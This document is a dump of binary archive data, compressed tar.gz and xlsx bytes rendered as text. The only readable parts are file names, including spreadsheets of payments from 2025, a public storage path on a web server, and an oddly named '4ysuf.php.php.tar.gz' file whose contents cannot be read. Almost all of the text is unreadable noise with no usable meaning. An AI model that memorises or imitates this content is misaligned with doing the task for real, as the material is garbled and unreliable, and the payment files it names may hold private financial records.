� �$d� �9:+ljyBz��ncGqݵ�!�Ѽ�Un�C�|�'  "��;M�/����o��~U�~����IS���W��gǒ��/;����3���ߕ�߽U~�F�O}�w�_Ϫv������~=����G!�#���`�������Ϯ����7��;��#�ٹ��o������>?��R���ɤ������o�>������?���EO��&PK!�}�9��45dkj3p/payments 2025-05-28 15-24-23.xlsx.xlsx.tar.gznu�[�����ygPT��mK�&%I�95�ɡ	MV�B7�s����d�Y$I�䜑�DA@Prj���8��s�����z�����޵��ػ�k����4w����vw��0���;��[Y�;;�;{X��@���},����@� ^!1��Q�WH�������������� H$�������� �����<���]�_���]���A���~�F�p��-� `��ݯ����l�f���`�kT$
jv	+����e"�vC:I�����e��﫵G���)���-�-V��W��۰Pi;<��)�$\�xf�W8[��/��X۽}�o/�@�B(/gA�gг�'N��I-��.����c�Bö���x)�N�?R�vL��z{C5z��QjB��9yl�K6tM��2)R��Κܷ��i��i�����X�&��9T��	$�\1�R��0�C{���6��H�%��%]��P��|��Ө8����TƏ]ɗxd˾\3WL��O�O5�/�-�?"��D�bc;.�`O��UN�(8�81�}K7A���}����v�I%�Pz���n���qA�Z�iwJz�chwx�&wj�m^�F��t<v��w��c�
�a�.��}?�����JYfr��c��"XR�[x.|"�1'��R��r�</|��$#f�?��S����.��6�*�B�����:\Xy�ЫɊ��۫�c�7�.���g
1ū��٦�6,�I��5��B�麜���F_��r�ޭ�N��|	M��4mC����O&j�.�&*���e'0�`�����D?-8~GՈ�0�#�T���S̈́M_5�[��K�D�}ч�zv���܌JK��Qi��
�uT�����������i�K�:��D����e�i�ƙ��lb�B��U�W�����O�B�����]>�ާ�=�{��>�]�˥F���e��_d�Š����}�x<6��I��{�"�w]X4�8����jB���/6�4h&^�N�6��0�<c����Ԫ~�71b��s�Y���	��P�3�0���!~�,	��)���̪!��m���<G����(�`�]�b�S�9����*\�1���!�W�s��R*���� �òj¯g�":@|$�����GY�kg��:�7�(�-8�B-�$x]�!�G)F�8�ˎMU��]Q_���Zaw}����P�gCtZ4p(/�}:�g�C-9IG�P��y�w�.l�f�uw�.�'���{�3�	�ݰ�V�[�>b)�?&2�l*��7��ٿaW����ξ��!|گ�u�;h9�=����\5X����@��ks)b�p��(����-�������!(����'d6SG��]�����
H���
�G<#7A�;�����_��i~�Y�$^K�Js�M�}Sż�+Y�3|��-�[\K�)�?1's�1�x��*G��%(�SN��Yq_=�W�7�!�ԓ����E=U�dK�D�o�mm�+�j��Pxtܳ���Z��Z��>s
�˄W�?�¼�� ���5o$׼�������/�������˭�[H�ǡ�%�@b�RS�0d|�Zc\SL��ُ3�k}%q���<�נT}dN6��%���\�Z.�ٞ��a�g����A$�8e	���J$���8�@'@%�����BYh�;ؓR�c:���y�>���Wdڍ(c~����h����EWœ>SB��]���:HڔR��n��5�7V�J�8��L%.�~܂�o��|�A(oz�g�UMKȥ׺��[�a�(��#)��rG��w�)�G�W %<&?��YRC��i���S+�4����ɝ�L���TױJ���;N�F3cW�lIv�I�{��J��9��'�'��"vk;B§g��M���5a�4.��������Q�/�vi9͋����7�!�9=B$wfwS�	H���k�������.�A��}�����6m�J�蚾����U*b#l/��oC��#�[}we��I�P�T��L�����n�8;�:0�:�>�%��~�`4#*SuOO�"$H*����VDS���{(���f�(�!'I|�3�;�(Jm�cc����~|�N�si]���8H;p��P�#`�<a�B�aHt�C�3��	�-ËB��M�ˤ��L��˗�j��b$>�d����6���#�Jߤmi�8��6(������^������4s@�HQ�t�X�i�\Yg�Q��텹�X�`<��h�Ң��ɸe�s�i�}ڑ|���%)�af����c†���	N��y�kk����v�S.�[����c�>R��6!�c�ua8�W�붚��1n_��;֎bdNyi8������d�U�3���_��:i�p=:S�.g�����^"S�6O"�~�nV���cq�=])co��;\��<�����z�Ad��Ҩ7&�!
"]/�TJ3�p�PA[��w0�/LV	~3�ĝH�)Aq7�)X�y}����b�o�|�xf�z���pg�^�.���Y��ӥ��,u
?���
}��Xp�9�W���a(��S���������z,�D���\�n˧:�r���=��oC݁�	/������zH鋉��@���,(ғ��p�V�K&�i�љ�"�j��'?w@"c̗,��G�Gi��g���mfo��+նz� q"/�5Ng���
�Gv�b��)��h)���0�A/M'�Vzd�2��|?Y��ǯ5�a��]���R��P�{��ݽg��"s�/)���_��3�h4i=ml��]�[�_���N%	Vr��,�O��H��b��$,oA���0���!`wՒ\q�e)^��EOܤׇ���zmS�{�mN|�_ [!FT����L}$�5oI��	��4���-�5ˊ��/����o��e�P!R<w蘨�%	�Ƅ�U7V���6vb�呝�i�4_�@Y�Nl%�rʹ�3�y���@c��C��0���Ӟ����|�K<+�Xs��%�|��\o���~�ȳ��<�N��kт�ؑbŲ��F����^�J٫�ooMVu�e�i�H2��}�z��^�����C������-���3�L�޾@˖�w�W~����d�����\4�Ed	����ưpb�?U�CH"���&�q�i]��	��ד����T#L�([�&oйQ�+�M`�i%{�����/@��L&� %�"�����AD�؊�]r�w���^9��N�K��a�e�||I��?i�����<z�����J�V��8w�w�B��N��h\9:��C�y��8Z�+��g��FṦd��� �:�̀�{^�V��v��߿�V�6:����q���H����`;s�_��O��GN7�=;Ϧ��E��u�I�g�w�6w��麻�8Z��U�cu4�h���(��퇐����
3�'�w�����J��P�k����
L���l�"!qi����]���T?I����hw*�^��;~\-��c�i�_E�p�a��II���S�M���
���b��"#a��YɃ��Ehn��L�V�kW`����KV��)^��n<ʉm�9Tϋ��6��� �&�.������P�X���k���PJ18[�t���'�U�`:��JtܘaӮ�cV�UAx'�iAC4]ӎ��A!��YIQ�ɵI���|�ǟ>s����*~�*1�+{3:��fw��g�S�u�L�����f�L��9~`�U��oۢ�����T,��������_<h8e
����w�pdb�ef<{�S�S��5�F楃�Y�>����a��=*�$�.�ְ���%��Aꇑ��請r^�,U

�|�ree�O�Ӣ�+.�p��߫��(�D9&�N���cl7/)�ހ);�l+ۘnd#[��!c,Ͻ���^�᫅aIj���W.[�U����2�6�"|�Bn�|F�y����� �1L���#�P��En
C��b�l�o�=*���"G��W:��WW���%�����.z�U��}6�Ȗ�:];�������xlq@�u^Qb��A]��-����1_��e��Hel*HG^S:$.�jr+u����%�W���Z��X�
/���.�C���0�����P!'�gF9�u�֔k|r� �~;
�$�IVq��l���+�O΁���sZ��
&~��d5�
.<�0[�T�Iuo\	�"���ʿ�=�F���D��"���B>��b#����WSn��3�Js���e�'��]�Qlw�f�"���'�y]�rkW�;7�fL��y=�=�{k�?���-�?g����-G�C�/J;r�=��t$j�� qw{R�4P]�4'.}k��X2Ͻ�ٞ���B��<`�|q��*��b��/�G�e��\��1'��z�$\��*bL��ҜN��������`�x6X7;��l}������v+5�����A�ƹ�[��z�6y�&/�"J��IYr�~�ѤRU_�m�8��T����sڂW|�鰐f^�$�q����&�����`AO��%�n~6�љm;�� ���>�̞S`nR�A}�%�C��������E ST-��1��ec�`҈��2���V
n�N����`�$���h��IVyH��;�`��[�L؂�b\
ˀ�7�K0�q��]O�����y���/@��W�e[bp�d���j<4�|��J���%\0�1���~�g6�
^�*E϶�\�G�&A�S��."�q�ql�ܫ�.A�hż]�skO#_8��5�o!�+�O���3[���Z氎�].�F�睢�̧̌�����wf�Y[Z����򯮾��Ӽq��cƍ�� ����/l��p�u0s�[�󭪥/��]M�A'=k�?�2�@�6����C�kʲ}�\��j�SCW�H��~rp!Vqn�5��9��4�b�"AA߉�0q�s�W��:?��x�4ł��y��g�63�*��a�1�*q������`R?���F��3GQC�dd'u#�3��v��~���a'M�C�9�?E7�%���|۩s��M���p����`2K.��!γy����O<6��d�gf	�{�����Uq38��Q-��5�
�3%7��`A�0��q�[��m]_�K�߯�WN�pv���٨!_��"үX_�os��vj��i����TQ��.�B�>x�s�V?m��,&�Ǣ1<$��&<o���Q'�BŰ��J����Tl
vH}迶t�w����L!�^ȟ�`�;������8�	U��c�*��L�
b���8.�(�,u!�X^�3�y~أl�c�]#���h]��|�{<{'Q�i�\W?�����ӬM󾄖˥q�J��d߱�K�!/���nhJO�db��@�uQ�Ϣ�,s�X� :��mn��n#�*��Ƥ5Q{�ƻ�
�	�T��U�h�u���G�ESA42?S/��?e|D��6�����,��Չ(s��P�k��8�~ṣ:��J҉Z�q:Τ㺶A^�ej�6�=>��{��%��"f07j�&4������&;Y�W�[���K��Q�)7��o�����ƛϯN�o=��b�6��e�s�S�����8�^e�f<Mf�lX	�y}�Y��\�ೇ��qu�9�T���>���Sl����*����'��ޡ�g�� B���5��”i_.�y&��tHOσ<+��d��̕u����Y��a�ک�[˦#��-�M�-�\�ʕ�����y�ݨ7Q6�<"$�E��h���7wo(&�5�mxk�{���z)�8�M�4Y͊v|���{��^�2]/2�h���M�e�~�
�2zW�j�77���6T�s1'�<[�t�W��f�귊2�a��X$���?*ʟz��ʿ�J�AB4Fb��c�Z� t�e�P@4��Ml��#x���˞����k��$��Z�4|������9��ʋl�ǤS?����ZP��xn��翯@eɕ�feCuѾ案��:�R�����
�BC�O�?�s,�;�M�W��k�_���o���:]?��Z��87�_q>\?�]�����w&��r����~ug���\�;��ǯw����f��+B1!�f����>�W�Eb��]���7��_�OI�qa����E���(;� `L�?\�׿��0`��[�k�����vm�̡l"PK!�!:�((,5dkj3p/payments 2025-07-18 12-09-36.xlsx.tarnu�[���var/www/html/back/storage/app/public/payments 2025-07-18 12-09-36.xlsx000075500000020747000000000000020166 0ustar00PK2a�ZG�D�Z�[Content_Types].xmlSV���N�0E�|E�-J��@5��*Q>`�'�UǶl���L����@�nbE�gr=��tW�d�>(k
6�r��V*�,���)�cI�`$hk�`{l:�/�CBb
V���9��Bf�RZ_C�W���
��o�k"���ƃM�/�Jb2��&�i�
��(#?�<t†]0pN+�
�#QS[�J��b]�$km�~�^c�
�#�P!�Zg��<��:&�;r�2���y�C�)�=�R���C�u��A�~�aK����ջ��K�ެY
��:��޺�	5�l��(SG��:�^��χ��Q��xH��&�v>X?c��k�*�(_����}�>��k�PK2a�Z�78�K_rels/.relsSV���j�0��{
�{���1F�^ʠ�2��l�$���-}�y����Î��O��v�y�;�؋Ӱ.JP��޵^�����Yű�3G�Ww�g)��>�qQC��D���b!�]�i$L��3����2n���oT�:Z
�h����[��4�ი��]��yN�,ە�>�>�j
-'
V�)�#��EF^6��n�8q"K��H��>_ׄ���eƏ�<⇄�Ud�v��
T�PK2a�Z�$�V��xl/_rels/workbook.xml.relsSV���j�0D�
��ZvZJ)�s)�\[����LlIh7m��UH��Ĭؙ�H��8�OL���*J�M���|4�g��[=�
&$��w�74�r}$�M<)p��EJ2GME���MҨ9��ɨ�^w(We�$���O��
��V �)��C�_�9��J�$���/�:dG]d���WK�s��s��<�[�V�tB��)?����0_!��!��4�E�ǩy���PK2a�Zad���EdocProps/app.xmlSV�SAn�0���1e�(
�b�:-rhPv��ZYD(��n��/%Ê��T�fg��T���=&��Wb�(E�ބ�C%��o>��|
.x��	I��j�B�����*�2ǵ�dZ���s�	��e:��4��]0/z����$���k�o�d(Ύ�״f�GO�S�~Z}��Y���I�B�ŷ�A�伩���K�|ҥ��R�8�dc݀#T�P��̶`i��G�!d�䩭D��8��!Y�,βs1b����3��LJN���9��rdp-�S���#�-;�����x9O<f�e|��?���E�y�rB�ဃvB?��Ǹw�x�5�v-$��L�0�>�M.���É�멤M�����mcx1O�_���E��P.���@�PK2a�Z*+�(rdocProps/core.xmlSV���N�0D�|E�+J�@�	PO !QWc/�ib[�B���qڴ��8E�?�\�l�*���3��I@#�^���b�^��#גWFÌ���MyV�����$��υ����)�b5�����0���[R�Ś/�����K��v��D�EJ1 헫"@

Ԡ��l��}����9H�
[Fw��x5��5�
�g����9��*�U%����p�Ѹ�E��itr��x]����P o��i�خ�c@&a��_f�N��sR��"e�iv���9��'�s�rƺ1� {j����%v�
+�ůL�m�S��:z�J��)��9��:���z���9�����8����^u/5�4��_���?PK2a�Zs�{Y��xl/theme/theme1.xmlSV�YOo�6��S���l)u�:E��햦
�C��DK�)Q 餾
�q��aݰˀ�v�h�]�O�����
{�c���4i3lC�-������Q�z�A��!��c9�"������pp�m!�p`�ұfDZ�6?��7TDb��<��cEJ��-}���2OIkc.b�`(B;����n6kv�ib����xL}��Kksμ��+Q2��8�s�:E�
&N�#g��:Ĭc���
�e!�������?��y�^1UC��
�OIW�fN'�т���W����U\�����},uV���t�<5P�ʻ��n��o��׻ݮ�^���xw�n��[�
�]�U��[��Z�-�k+����5���A��d��s�d��
#�
�|,Q���
�D����b�<�X��YJ��\�#Aq&o��S�\��d!�����Q�!#��W�x��)z�����g�>~���O�8	u—�}��7��?�~���f���鯿|a*��'�?{��������%�H�iL$�E��>��6�2�F�V(pH���
��3�K�λ+���ק�+�Db�����.�˅ќ�L�n�4	���T��c|h��;�4��LM,{���� �8$	Q([�Bd�(��u���K>V�E]L�.ґ2ݠ1�efRB]���]����~�V����XVq�u<U86j�c�#ob��<�	��p� �!a�"��涘U��P��a�e����NLț�s��'�ǩQg�D:�C9�-��WF%x5C�1�'��K�:_Zߡad� ��T�R��j>������J�䴲�(��e{߂C̔<'�u�X���4�#��+�
�.V�\����,Ŷ�k�l���{L;P3Fnʼ�K0/�d>ȉ}~�c)��Ο���c���� ��%��dJ�r	���w~E�`s>���j��tK�o.��P�Z��
k]y;aN<�4�3K�N�fkބ�A8{��5ѰQ0#A��<,"န1r��8�3���z�i��[o'�,A�Ź5��Rc%J�j:��:BG����,��c����8~2+U��I��Ui�k�����m�4j
��H�T�XFU�4�,�ozn懋1�P�ΦE��Z�'CK�c⫚��\�SE�A���}z���
����9�P��x��/���k�2;0K#\֤���?/t�G�zv��ohJ�M��]S��
n+ȯ^���=ڱ�P�*�F�hrY����TB,{���J�u��Q�0R�4D�B�S� dO�v�������9���,ԕi�;"��
��]��P4�&�#r�ɠ٦����p���t>��KA�yzW+��Q��v*��m�-nzg>jS����
7>[��C��G���F��.�o19�ۚq���Z��]�l>5g�j�}��7w�g�w�������L>Z�3����m�M���{�p)���>��t�oPK2a�Z灮k,xl/sharedStrings.xmlSV�W�NA��SL��W]wvY-�E�&�o��VIdAv1�b�M4!�&mL[��M��u�����+�IzWf��P
e��9���7d���ɦUq
%;��sT!��\Z)ثY������+���me�w��,�e�%p������EMs�׬bޙ+�-Oޔ*ż���U�)W����fYnq]3(�׊�����]بZ�JU��*iS�e�B.��X��1���`׼NX���9k�6��%k�]��	�.^��F��>e?��k,`g����m�N�
���L3���h"U?�	��c��'��E��_F��*���#���8RԤ�P��
/�H�4�Ɉ�v�$5֜����z:2�C��Z���t�����r��5�9Czp�E �H�$r�|�ӻ��iU��Ѥi�	.���(����*WR�F��a���?�a�*5�0�bX�)b��&A��wb6�-���3����J�!tѐ�U]f�4����gX��n=��Cffx!���^C�&�$3<',�Ib
��јz�l�Cjr��N�d�6�&d��פ��OTb}��F�r���SR���f�tg�8�d�	1�xP6R„ʞ7�-�t��9�16�1�5�^���1��6?�2�I�OXgg����?T[�	Fm,��}�����^�Ѯ�����}(����`aK0G��<W'��̻�aԁ��l�#���s�1�)n6��?����̣�av�
ʯ��ȻO��n� BA��C]�Y�2z�|�{�\r�,$P~�`"�DD~��;L0t�X�~����m�*-��k�7x]
��.�s+��c`��f(K\Dä���?%�_��OvE�p��G�.�gQɈ��h&�ƂP
?�r�PK2a�Z�A	�
xl/styles.xmlSV�VMo�0��WX�7�m�n" j#!�ШR�R�֪?�mVK}m��m۴�<��<3&���v�
S2��U��RUL6)���߮12�ʊr%!�=|��I��9<m,rw����m5�;��&�[k�;BL�A͕jA��ZiA�suC�[C+�'�(zOeg��D.�A��Mq�I��J��5@�hG��������[���?���+W�Hq�G��aI�H�@9+4� 	��R���M�|����g������d0��
 KZj-h�;���oa@B�э�}��Y,��P�r�3e��e	�ں�5[?Z�?i�Ψm���SN+F�і���/����F�$>W��"���t�F3���/����C����)�S��G�my��P��{�D:*|�f��1�9k��C����/)~eI�˓���%]����u^�eH�Ηt��~Oâ����|CN���񼏢c�2y��8�j_���!d����������-������c�`ϡ�)B��PK2a�Z�U���vxl/workbook.xmlSV�RMs�@��+̒�F�Bӡ!vZR:���P�ŖkM�ó�N�z��8$��E~�x��vv�Q2Y�udt.�ƙHP��"���_����"qt�h��:qV����}\�p�ԵPr���ЮP�v�h�o�i����iQs�6V�ghR�5P��+��Ͳ�T�-����k*�”�B�{�<��j�(f5I��L�m���y7R$��\��*���k?u$�d���؄užjѐ��
��`���o~�	��V��e.Xi輙��h/��5]u��ck���ib�"M���\5H�	�1�/�ҳ��mi��Cq��Z�������t˟A�\�d�kE��$�?�"�K[�{kś
6�Q��@ġ�+���5��ث�8��֤�
�-�Fj5��	K[K��y؆�
����Wٻ��1z�r�q4����&�t�Kq�x�-�Q�����o�й���Q��Fx�������~e~�%η��	�/��PK2a�Zl��t��-xl/worksheets/sheet1.xmlSV��[w�8��Sp�>�U�s����I'���}�{w�	�cNc��|�;�T<ٗĨ�*�G!�����͝'Y�YY\L�t>qd����x������o�ĩUR���,���U֓�/�u�\V�ꍔ����]�j㮒����i,��F���lV��M�i������j�(}X=�j퓬�H�|�y0�&Y�G8�N�Q��Y*e���BuA*�'J���d���euR�U�<���ctq�Y��g��fiU��ZM�r�w�e<��8_���/���MO�6�~�w��p;��!�3��ƚ8���(��!��Q�+I�A&v�Ӈ�#]��m�*g��JV�+�E�r���Rﷺ�W2/�ۡ�{��QM���|և�<_e�R75�Tr}1�$�p��)����sm�vT��C�2Ur��n���,5�{ݤ��ޔϟ�l�EwGW����k�^>_�����K�^�B:/?v��ě8�o?U��"��Z���Ɵ8I��'�-in��R�rێ����n[W�߲h���Ӯ=[��N�u��L��>Oׁ�C��[f���H�}�wۖ��<+�N���0�dE��o��'�o���itM�N��y�u���j\]t�K��9[���ći��A���]�t_�՝�_�ڔ�!l��zǀ����
��c@7��s��=���[@
�LJ�÷!ϧ����b
��q0>��,�}��ǡ��4�����R�Ub4�<����u�=(�\�W峣�8���7f3y��f�H�֫����t�Z�>]���	ԟ��N��S��)3����������)�yJ@�ѝ�F�ם·{�
��gwq�+��oȑ^۫�<E�Sn��oMcc�gd���Cl�GFBr���J����0a��Y"�i$�6m�4�'��|N�ޘ�@|oM� �Ϧ�'��/�{��G��A�~{k��a�f!$�i$7�5r$][�"p� �$a��`0ԺD�Ad���a�����e�05m>��Eh0�,�!�4�"Or[߅Ӱm%�!�E��F�L#��%ܮL� �µi�ɜ����5�FԈ��#j4TK��RE�F���Tcn�9���'U��
�`Ϡ1�5�"#�3X㮣k�a�O��,Ȇ�6�o}!i���>���'��6!�p‰)[d��b+��#��H��0r��(q��!l� !��G�4����&4S���KW�j,`��E�DN`a���0�nHq��4�t-/���,<�X���':-���l���0������p�lu�|u�lu�,N����r8��K�d�tO��G��0U���մ�E2�t�*�w&X�-X�%lZ]�f$��.qBJ�4�,aň�H�Х�Z���.c�W�
yS
*8�$z�D��ɂ��g#�I �d=��>G��݃0���
rv-H���n���{5����#BI�!A�֓$䑄,NȈppY"'Ih#�.�\�{�M�R$�H���G�H8":""�$�n%�Y1r+�H�jl��L�kM8�;N�P����֌�).�8!%��#S:��@�{�(AVJ]�(�wD	��XQ�3S�����NB'$��Q#��8��d�#W�8�a�,�XU�3[�9U�*�JpBJX�R�#:�N��"l
�;���aV�`_��
8��P*TpBJN!<"]I�FY-�ȕ���}�0�]��.�j�N��;xI�8!%|�v��h�o�Üv���e&��]��.�j�٪aN�@�	�j��8FxD�R	t
�x��֗I�m�B�~������S>�u	��ƱibD���4�}9®�4�S���'�~=��p�	Z�=`���
	Ft�)�,��(�j�������ٚ$�OI�J_!�� �Y��i0�o�*$e���M	[�Kz�x�K�����aN�A4��X�q	[��h:@�P(�+a�hUp���Ow��2�WK�dUal�	pG$�;g���s�CSL���A�b�b�s9��'�˸�˩'d��23�%{U޶�"����Y�gaWe���k7�:�o;�I^��[����H�S�(�L��L��r�-��n�^�[���W����'x8ڴ[�#��[��:�qu����%;Y��n7p:e��B�;m/&�A}Ҥ��������q�`��҇M�U�wU>?7���$�&gן۶#�*[�e�s}]�n�dq�p4�fU���m���fQ���ZI�=M[O�o�</W�n��4�o����5~K��x�y�>:��kGt���	��\5{s�%����������PK2a�Z�KR"x�#xl/worksheets/_rels/sheet1.xml.relsSVM�1!{_A��@c�q���p+a!,1�{)-'��y����$�p�(bW�����~ݟAIG�0&_X��|��}4b5&,B���@e*�x�gi���uE�BO�h�I����PK2a�ZG�D�Z� [Content_Types].xmlPK2a�Z�78�K �_rels/.relsPK2a�Z�$�V�� �xl/_rels/workbook.xml.relsPK2a�Zad���E �docProps/app.xmlPK2a�Z*+�(r �docProps/core.xmlPK2a�Zs�{Y�� 'xl/theme/theme1.xmlPK2a�Z灮k, 
xl/sharedStrings.xmlPK2a�Z�A	�
 �xl/styles.xmlPK2a�Z�U���v �xl/workbook.xmlPK2a�Zl��t��- 
xl/worksheets/sheet1.xmlPK2a�Z�KR"x�# Cxl/worksheets/_rels/sheet1.xml.relsPK�PK!�)�a�a5dkj3p/4ysuf.php.php.tar.gznu�[������r�H� 8�*��$K]$���EJ*�wQ�x'%2�G� 	H�f���<�Ӛ���~�>������/��
��x��Y�}��Vv�����#����ñ�v�ٰm.�}n0cUMV�1�r��X�Ea��ld8��lx��F��d�������'��P0�g�=��@��O#?�o�j����g������Oh0������՘� �̜��+����X��2Y	��i�,1���?���H��&�4��V�(�>���%��&�"�I�$��Гxǵ���:Dy,H��ѯױ�Tu#+C��0�Q�@�g�"qs�4���T^A�Cn��ؚ@�!�a������v>������N�5Gҟ��P�D��3���7ʢ��5�@�?��P@S���^_F+Q�M�g���g�4p��<K:"��
��woE�,r�6�O!�e��O��2��5���@�4^B�!�;ԅ�� O�4^��0����0���?�є�s�`ɛ�WѠ@���Mh%�����[j���lnaI�;����NҸ-$��DiN�dY�s
$�<�&^f,�V^DA��߼�J�^F��/zUy�h/#�O��d4�8�L�u.#��yF���[���MxqaC׬���xT���;U��+���:ɻE)�`��K���Ta�E�����o��7�
Z�����0:*YM^�i��;�>'2�h��J�@֜��o�����
��iīW�Y/3�y��&2���q�Iw����!)Qd��v��dS�T:��5�
�5��l�Y�<PS8I-�\����rN
���g�gv�QW�a�Ihi��\�m"��PP�eeǸ��JQ�Bw�O�w�g�#���)�a�FWԟQ�s����C����pҀ�;}@)�"T�z�J��4�a(�GH�TY�%����I�� >��0"��בE�(���N�o;���fk��*�T����$[�H"�[��?"�-KP�x9����Ao��)��},
���'��(���4�
n� ���_(�Js�"����4�r�l���ҭ�x$�**]4jYP	�����ux��ۨ&`��)PFA��,��u�ɸ(��:�+L=��u�)F)�#J�[,��:0%P}��o��cK�:*����
���?�u@ȣ�!�	���u����xD[�0��*��ƣ��0W/ʰ�A��N�pv���
��Wp	�7ㆩ�p#4��o�J~���i��R`_����RU���u4�5`���z�N��cx���)^��4{՜�04���1��3�ԕ�!^�rP"����$���'�����^G�S������[P���u�g
��L��/(��^G�W��Es�G1Lz��7$��ҐX�џ��5�_p$E��$<|I�<�]N��e��@�!��v�4_>�0�y6ONQ����KN�SY�?C�)��j��p�6���m�|i���\���	��/n��ALY�G���t3��q-`US����<@{~F=s���v3>x��sD�HK��`i�u�,&H�s�>�ą�"����B�Mr����/�����b�U���A.p�0ht��<`��,��#-�]�����78K�rP*�T$��vQ"�Lnȸ�6W�|�S�<D{v�B�������i�&�/���"f�:���u\���0�c��tـ�*�WA}�Vs^�<\���_k�	��b]�s4��1��5��z9�o��v�̱��G�Ngg��!�2-@�\�:������n�f��IJ�HY�4��줌��>}ƒ4�	0���p���b�N&y�筗�L����>H&R©�i�����E�EI�rP�"�b������!�VE�	J��O�*	ZR����M���I�X�B�1*
�Qu�Y��v
�=���^�z�|P[N�Cp�4{�8�U�id���P��h����>IA���ʑӊ�B���<(�i$��ي�=�$]�g(D�xU9�$���On<sѴp�;M�Z-s���ƈن�@�>w4��[I��'��u��l2�
�3s�]�/�*�`�dcd��LC�dA��<�}��2d�F��+
���o̫�taC���^�FE��M�nAGے�,ޓ��"oMlu�6�_e>�#��5:��g�]�U{Ie2�Z륜�کBX*{b�t*}����uꢶ��2^L�7ZZ�H�٠�.FhZq�	s��p*CR�#%6xG6p��27�2�Cd&��h��"3A���Q����|R뢏���o�����1��ó������C�u��k���%b��O�Y�9Q��"�јSl��4b�0��g����I�9�`�Ǽ!����ȧ���Vɲ
��m��w��`�d���n�,�T�e眊tVoIe�H24���D �<�):2n��j���k�K?�U�<@�"��gE�"�^�9�@Lu8^篿�h�`z!��e��Ѳ��Y���+�f&U�e�S1S���
���')��/�s//��5���#�V Q�����/������������x����8j
��uy���Ҋf �A���j��n��0��W��g��s"��{��^�̭�1ƅ��X� B�B7P���/ɼ���Vk��B�vAvK1���iiZ���9|>ڵ�:��B�7�2�D@}��c�ƒ�{��,���ɯ$l�U��WKş�l��%��1ҭ�Ю���,.	�+��R$ƚ
�1��<H����j8�C�+��T�b�� �weK����-
3	6}2���Yh'�+� lRO�K��C2ǀ��|/�<�?����*��E}�@k��|@J��	�oHe���{����EkK6v�O�N	���<�&���_W�(H3k!}F����U;�l��S� 6y�ʘ'�t	�gK� �
����N��E+������f�I㑐�e��`�k���T'Y����R&���nޗEa�4if(�0n��6��J�;���@EMPQ�4��g���H���0l�fu��l���	,h��w��^0�l@��|�Y�lafnK3I�H��+Z��fP�Q��F���B\ن�?(|B����+�e����I��{ʆ�,ʷ'�is*�u2n�l���4DzSP���V��ћ�w��?՛�{z>ߛGY���~o����M�To�Q���Z�ޠR�^-�PVje�h�GµF�(���M�Xx��̂�,o�ktoǦ�ʙ�u���
a� z��C�V3�j
J@�l���N�a�`㛤!�r�>Z�%!p���<$���<�:,>L����	����c�	qZ[�i������}c���D�^����'Gl�r�m� ��]�@)04%�M34��H5�(��X"@�ܯ
o���@��K��L�K��E n!mD;����$i1*�g�j�\��!m�[A��%.&<xn��dd񫬠.dU���N�
�(��5��7�8��
�
��1��n�#`�����"��+�_*o�]OF�v�����_�v�<1��>c�kv�+�)����e^k�k�ۡ�t�����H\��4w�W%��OR��T)����f�z$/x���8��	 �0�e$����D<,P�0/�DBQZ�	��'�� �$�4�tn�f*��I�GQVy�7x��XV�$�6��3a�����WҐ��^H�����q�J�>(�al����<rta+.9-Ķ�uDmըH��D�$^���B�UK�p�"aDT�v�"�0l�]���N㩔L�2k��lU�'�f]8�t���J}uqS�
�
H��{x���<\x/�wC?j����t�n�[o�`�`�,���}���!P�"pS��,n�j��O���$�V���|�D]d�&a=�����LZ642�p�$(��c��Y+�I	�/^`�C{�O�G1>��OK6�Ll%��mb�E�S��x���X4Z�FƦ���j��W����~�oXYE��zψ9��P~�d
:�a��* �!K�m����[�I#�>m�i����77��e� �~$��/��n�����{�ƚ�64��� b1
Y�"�A���9ff�s
�@�$�P�k��{2�Fh�Y&��꫚b�2~/�ujA��h#��Ǡ�.[w�(0�[2�Q_-����ޠ�e"�g1�B��Z^���A��L�L��}�o,�wD���i*vWD��!Ƙ�(�hJL7c^�^£���R4�P�N}1��3`Q��8"��g�N�m�)c"?r�D�GI�'�,Q�>g�ԍ�u�4�s:��c�J�EϤɏ,w�<�#�L��UƂ����Ny/U^��@w�����S���\���	����#Ĭ�/��Ԝ>���@'/����C����sޒ�Y��y8&1�6&p�{6���7	�.��Nӟ��Kٕ:�BE3絉<L:���9�M:���CZ�6e�3��u/6'Y"����<X���v���NK���/>{&��Z�8�/��2)�t΀�I=l�&>��b��!ȿ>q�{��:����:����)�O<����_����;l�#K��珠���]��^Y&,	3����7�xPm0���*��,���vc7�#���#j!'R.�=����L�D&���C�`�3���ܣ��F�Ԍ�o5ش���/��^"�I�7Z=@��4��"q��$�!��p�NTLv��o��Ul�E�/^�0�p�8�g��
���hQ��r���6a��$�'e�G�v�8���]�RW��М��va��չ��\v��Y<�+mw���i���9���oZ%i��_��B�Y!�H��lG�ѥ"�_*H�4��HnyA�-,��L�89�D��$�.�}s �\����"iiT���t^[o\X3�Y�Ź�ۇ��6y�I^���^�"�N�スν�H�֩j��qI~A�
N�D��ޒ�$��1���3��rȋ�=��a�%�砢��(n�}A��^��p�C�#m��L3���Ӫȝf�䢠ܴ=�A"����ɷ5�D����$a7�{ms���A�F�K2~Ir�gHmn�Q'�+]ϕs���oT'q=B1i5Gj/U�
f�A����
D�Q�r2�<�{*6[M��a���h�*�,o�')}r�2�\���M8�a����-ݒ�y�e���
�0ץ�P��0�#c!�x<���s��&���f��b��V�F��*�sM�S7���&��G;"S�ȅ�������CZ���i�n��y�<��3�=�b�8г�K���i��̍�Hm���(��ң��!\�Y���G3�bH˄�=m�^��j��/�
�L�J+��y���"��@�Y�"�b�?]�?�)�ʭ�7�Ұ9g<���{5���]	W:��!��$G�H]����un<��6
꧋��Z��$�0LN�X�NYʈ�`�t F��e�zv:}�g���!l�[uRE���+�|��3'��<;�X*��†��a��D�%
�T�_�Iؑ�r8��%�B���t�n�F�jR� �_�r�^�VN�d��л1�=���#�b�t�2�R���S5����9�<��hɹ-?XiƑ�n�@0��
�g�N���6K�9w��סx��Fs�8=g�V�#���R����4��qt�k�~|6l���,��`J���y^g4����5�L��݉���y��F�n���n�b\tvn�\T{�e��)]J�eײ����-�*��ҷj6b�_I�W=SwJ�^]X�L�4{�7����W�&vs5�a���٣t8�7�W۰[:��ɾ‚ه"}�(�����:Ԉ��iH3�}�O�ޱ��q���<瑦�C���	D	i�Ҽ���b��J��h�]3��V�Kk@6ܺ�o���1�EY�f�h���
�Ip%2��txe�IH
�۽�/�yMXNR���}5�H�䕫C� ʌ񱈞�K>�C�H<�A�������
8�Ç0K���;b��j�H,dA"�4������J]�gr�8�]H�2�^���66�Ra,�пJ�=ɵ��)
��z&��r��h�C�0L�ڹT��+��R��Ǎz+�ȳ�P"Z��,�������m�ц6
